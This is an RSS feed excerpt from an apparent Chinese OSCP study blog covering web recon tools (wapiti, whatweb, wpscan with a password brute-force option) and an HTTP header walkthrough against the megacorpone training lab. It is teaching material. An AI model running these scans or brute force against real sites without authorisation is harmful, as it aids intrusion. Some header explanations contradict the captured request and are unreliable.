 &lt;/blockquote&gt;
&lt;h4 id="4-wapiti"&gt;​&lt;strong&gt;​4. wapiti​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
轻量级​&lt;strong&gt;​黑盒漏洞扫描器​&lt;/strong&gt;​，支持GET/POST参数测试（SQLi/XSS/命令注入等）。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wapiti -u http://target.com/ -f html -o report.html
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​绕过WAF​&lt;/strong&gt;​：&lt;code&gt;--skip=&amp;quot;logout&amp;quot;&lt;/code&gt; 忽略登出链接维持会话。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​表单注入测试​&lt;/strong&gt;​：对登录框、搜索框自动注入Payload。&lt;br&gt;
​&lt;strong&gt;​适用场景​&lt;/strong&gt;​：&lt;br&gt;
快速验证常见Web漏洞，输出简洁报告供开发修复参考。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728162552137.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="5-whatweb"&gt;​&lt;strong&gt;​5. whatweb​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
​&lt;strong&gt;​技术栈指纹识别​&lt;/strong&gt;​工具，通过HTTP响应识别CMS、框架、服务器等。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;whatweb -v http://target.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​批量识别​&lt;/strong&gt;​：&lt;code&gt;whatweb -i targets.txt --open-timeout=30&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​深度探测​&lt;/strong&gt;​：&lt;code&gt;--aggression=3&lt;/code&gt;（最大强度分析JS/Cookies等）。&lt;br&gt;
​&lt;strong&gt;​核心价值​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;10秒内识别目标技术栈（如WordPress 6.4.3 + PHP 8.2 + Nginx），为后续漏洞利用提供方向。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728163006688.png"&gt;&lt;/p&gt;
&lt;h4 id="6-wpscan"&gt;​&lt;strong&gt;​6. wpscan​&lt;/strong&gt;​
&lt;/h4&gt;&lt;p&gt;​&lt;strong&gt;​功能​&lt;/strong&gt;​：&lt;br&gt;
​&lt;strong&gt;​WordPress专项扫描器​&lt;/strong&gt;​，检测主题/插件漏洞、弱密码、配置错误等。&lt;br&gt;
​&lt;strong&gt;​基本用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;wpscan --url http://target.com
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;​&lt;strong&gt;​优势用法​&lt;/strong&gt;​：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​暴力破解​&lt;/strong&gt;​：&lt;code&gt;--passwords /path/to/wordlist.txt&lt;/code&gt; 枚举后台账号。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​漏洞利用​&lt;/strong&gt;​：&lt;code&gt;--plugin vuln-slug --vulnerabilities&lt;/code&gt; 检测已知漏洞插件。&lt;br&gt;
​&lt;strong&gt;​核心优势​&lt;/strong&gt;​：&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;​&lt;strong&gt;​实时同步WP漏洞库​&lt;/strong&gt;​：精准识别超过54,000个插件/主题漏洞（需API key）。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250414110854937" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250414110854937.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day23 Kali网络应用程序攻击</title><link>https://ruajingjing.top/post/day23-kali%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%94%BB%E5%87%BB/</link><pubDate>Sat, 26 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day23-kali%E7%BD%91%E7%BB%9C%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F%E6%94%BB%E5%87%BB/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day23 Kali网络应用程序攻击" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;对应OSCP官方教材第九章，这里只简要介绍top10的web漏洞，详细的漏洞用法有专门的专题讲解。&lt;/p&gt;
&lt;h2 id="-web应用漏洞特性"&gt;🔍 &lt;strong&gt;Web应用漏洞特性&lt;/strong&gt;
&lt;/h2&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;特点&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;原因分析&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;应对策略&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;大攻击面&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;多依赖库+欠安全配置&lt;/td&gt;
 &lt;td&gt;依赖成分分析(SCA)工具辅助&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;技术栈无关性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;OWASP Top 10漏洞普遍存在&lt;/td&gt;
 &lt;td&gt;掌握通用漏洞原理(SQLi/XSS/SSRF)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;框架隐蔽性&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;路由机制隐藏文件扩展名&lt;/td&gt;
 &lt;td&gt;聚焦源码特征而非URL扩展&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-渗透测试四步方法论"&gt;🚀 &lt;strong&gt;渗透测试四步方法论&lt;/strong&gt;
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;graph TB
 A[信息收集] --&gt; B[漏洞探测]
 B --&gt; C[权限提升]
 C --&gt; D[横向移动]
 
 subgraph A[信息收集]
 A1[技术栈识别] --&gt;|语言/框架| A2[响应头分析]
 A1 --&gt;|服务器/DB| A3[页面内容审查]
 A1 --&gt;|敏感路径| A4[站点地图扫描]
 end&lt;/pre&gt;&lt;h4 id="1-信息收集核心技巧"&gt;&lt;strong&gt;1. 信息收集核心技巧&lt;/strong&gt;
&lt;/h4&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;&lt;strong&gt;途径&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;操作指令/位置&lt;/strong&gt;&lt;/th&gt;
 &lt;th&gt;&lt;strong&gt;关键情报&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;URL解析&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;浏览器地址栏&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;.jsp&lt;/code&gt;(Java) &lt;code&gt;.aspx&lt;/code&gt;(ASP.NET)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;页面源码&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;Firefox &lt;code&gt;Ctrl+Shift+C&lt;/code&gt; → 检查元素&lt;/td&gt;
 &lt;td&gt;jQuery版本/隐藏表单/注释信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;响应头&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;开发者工具 → 网络 → 点击请求&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;Server: nginx/1.18.0&lt;/code&gt;&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;站点地图&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;&lt;code&gt;curl https://target/robots.txt&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;禁用爬取的敏感路径(如/admin)&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;管理后台&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;主动扫描 &lt;code&gt;/manager/html&lt;/code&gt; &lt;code&gt;/wp-admin&lt;/code&gt;&lt;/td&gt;
 &lt;td&gt;Tomcat/WordPress等默认入口&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-技术要点"&gt;⚠️ &lt;strong&gt;技术要点&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="1-响应头情报价值"&gt;&lt;strong&gt;1. 响应头情报价值&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;# 查看完整响应头
curl -I https://example.com

# 关键头解析示例
Server: Apache/2.4.29 (Ubuntu) # Web服务指纹
X-Powered-By: PHP/7.2.24 # 后端语言版本
X-AspNet-Version: 4.0.30319 # .NET框架版本
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id="2-源码分析三板斧"&gt;&lt;strong&gt;2. 源码分析三板斧&lt;/strong&gt;
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;框架识别：
&lt;ul&gt;
&lt;li&gt;React：查找 &lt;code&gt;ReactDOM.render(&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Vue：搜索 &lt;code&gt;new Vue({&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;敏感注释&lt;/strong&gt;：
&lt;code&gt;&amp;lt;!-- DEV: test API key=a1b2c3 --&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;客户端控制&lt;/strong&gt;：
&lt;code&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;isAdmin&amp;quot; value=&amp;quot;false&amp;quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="3-后台路径字典"&gt;&lt;strong&gt;3. 后台路径字典&lt;/strong&gt;
&lt;/h4&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;/console # WebLogic
/adminer.php # Adminer数据库管理
/kibana # ELK管理界面
:8080/manage # JBoss
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="实战案例"&gt;实战案例
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;官方靶场网站：https://www.megacorpone.com&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h4 id="网站基本信息"&gt;网站基本信息
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;可以使用Wappalyzer插件查看网站所用技术框架。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="image-20250725145256415" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145256415.png"&gt;&lt;/p&gt;
&lt;p&gt;或使用whatweb工具查看&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;whatweb https://www.megacorpone.com/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250725152321062" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725152321062.png"&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li&gt;
&lt;p&gt;按F12或右键“检查”网页打开控制台查看网页信息&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725145643054" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145643054.png"&gt;
&lt;img alt="image-20250725145753070" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145753070.png"&gt;
控制台中可以输入Js代码&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725145843575" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725145843575.png"&gt;
点击最终便的按钮可以选择页面元素查看代码，文件上传后找上传的路径最好用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725150133449" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725150133449.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;检查网站常见文件是robots.txt和sitemap.xml。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725150427679" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725150427679.png"&gt;&lt;/p&gt;
&lt;p&gt;一般是脚本在终端中爬取有配合其他命令自动化执行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250725150504265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250725150504265.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="burp抓包请求头和响应头分析"&gt;Burp抓包请求头和响应头分析
&lt;/h4&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250728153829924.png"&gt;&lt;/p&gt;
&lt;h5 id="一http-请求头关键字段解析"&gt;&lt;strong&gt;​一、HTTP 请求头关键字段解析​&lt;/strong&gt;
&lt;/h5&gt;&lt;p&gt;​&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Host: www.megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;Accept-Language: en-US,en;q=0.5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Accept-Encoding: gzip, deflate, br
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Dnt: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Upgrade-Insecure-Requests: 1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Sec-Fetch-Dest: document
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Sec-Fetch-Mode: navigate
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Sec-Fetch-Site: cross-site
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Priority: u=0, i
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;Pragma: no-cache
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;Cache-Control: no-cache
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;Te: trailers
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;Connection: keep-alive
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​请求方法​&lt;/strong&gt;​&lt;br&gt;
&lt;code&gt;GET / HTTP/1.1&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​方法​&lt;/strong&gt;​：&lt;code&gt;GET&lt;/code&gt;（获取资源）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​目标​&lt;/strong&gt;​：根路径 &lt;code&gt;/&lt;/code&gt;（通常为首页）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​协议​&lt;/strong&gt;​：&lt;code&gt;HTTP/1.1&lt;/code&gt;（支持持久连接）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​核心元数据​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Host: www.megacorpone.com&lt;/code&gt;&lt;br&gt;
请求的目标域名（用于虚拟主机路由）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;User-Agent: Mozilla/5.0 (...) Firefox/133.0&lt;/code&gt;&lt;br&gt;
客户端浏览器和操作系统信息（可推断为 Win10 x64 的 Firefox 133）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内容协商​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Accept: text/html, ...&lt;/code&gt;&lt;br&gt;
客户端支持的格式优先级：HTML &amp;gt; XHTML/XML &amp;gt; 其他类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Language: zh-CN, zh;q=0.8 ...&lt;/code&gt;&lt;br&gt;
语言优先级：简体中文 &amp;gt; 广义中文 &amp;gt; 台湾繁体 &amp;gt; 香港繁体 &amp;gt; 英语。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Encoding: gzip, deflate, br, zstd&lt;/code&gt;&lt;br&gt;
支持的压缩格式（服务器可选其一压缩响应）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​连接管理​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Connection: keep-alive&lt;/code&gt;&lt;br&gt;
要求复用 TCP 连接（减少重复握手开销）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​安全策略​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Upgrade-Insecure-Requests: 1&lt;/code&gt;&lt;br&gt;
建议升级到 HTTPS。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Sec-Fetch-*&lt;/code&gt; 系列：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Dest: document&lt;/code&gt; – 目标为文档（如 HTML）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Mode: navigate&lt;/code&gt; – 导航类请求（如页面跳转）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Site: cross-site&lt;/code&gt; – 跨站请求（触发 CORS 校验）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="二http-响应头关键字段解析"&gt;​&lt;strong&gt;​二、HTTP 响应头关键字段解析​&lt;/strong&gt;​
&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;HTTP/1.1 200 OK
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;Date: Mon, 28 Jul 2025 07:37:17 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;Server: Apache/2.4.62 (Debian)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;Last-Modified: Wed, 06 Nov 2019 15:04:14 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;ETag: &amp;#34;390b-596aedca79780-gzip&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Accept-Ranges: bytes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Vary: Accept-Encoding
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Content-Length: 14603
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Keep-Alive: timeout=5, max=100
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Connection: Keep-Alive
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Content-Type: text/html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​状态行​&lt;/strong&gt;​&lt;br&gt;
&lt;code&gt;HTTP/1.1 200 OK&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​协议​&lt;/strong&gt;​：HTTP/1.1&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​状态码​&lt;/strong&gt;​：&lt;code&gt;200&lt;/code&gt;（请求成功）&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​描述​&lt;/strong&gt;​：&lt;code&gt;OK&lt;/code&gt;（资源已返回）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​服务器信息​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Server: Apache/2.4.62 (Debian)&lt;/code&gt;&lt;br&gt;
Web 服务器为 Apache 2.4.62，运行于 Debian 系统。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Last-Modified: Wed, 06 Nov 2019 ...&lt;/code&gt;&lt;br&gt;
资源最后修改时间（用于客户端缓存验证）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​资源标识​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ETag: &amp;quot;390b-596aedca79780-gzip&amp;quot;&lt;/code&gt;&lt;br&gt;
资源唯一标识符（含 gzip 压缩标记）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Accept-Ranges: bytes&lt;/code&gt;&lt;br&gt;
支持按字节范围请求（用于断点续传）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​内容传输​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;`Content-Length: 14603
压缩后资源大小为 14603 字节。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Content-Type: text/html&lt;/code&gt;&lt;br&gt;
资源类型为 HTML 文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​缓存优化​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Vary: Accept-Encoding&lt;/code&gt;&lt;br&gt;
缓存策略依据 &lt;code&gt;Accept-Encoding&lt;/code&gt; 变化（不同压缩版本独立缓存）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​连接控制​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Connection: Keep-Alive&lt;/code&gt;&lt;br&gt;
保持 TCP 连接活跃。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Keep-Alive: timeout=5, max=100&lt;/code&gt;&lt;br&gt;
连接空闲超时 5 秒，最多复用 100 次请求。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h5 id="三渗透测试中的关键关注点"&gt;​&lt;strong&gt;​三、渗透测试中的关键关注点​&lt;/strong&gt;​
&lt;/h5&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​服务器指纹​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Server&lt;/code&gt; 字段直接泄露 Web 服务器类型（Apache）、版本（2.4.62）、系统（Debian）。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​风险​&lt;/strong&gt;​：暴露已知漏洞的攻击面（如特定版本漏洞）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​隐藏技术栈标记​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;非标准响应头（如 &lt;code&gt;X-Powered-By: PHP/8.1&lt;/code&gt;）可能泄露后端语言或框架。&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​操作建议​&lt;/strong&gt;​：检查是否存在 &lt;code&gt;X-Aspnet-Version&lt;/code&gt; 等字段，或通过 &lt;code&gt;php.ini&lt;/code&gt; 设置 &lt;code&gt;expose_php=off&lt;/code&gt; 隐藏 PHP 信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
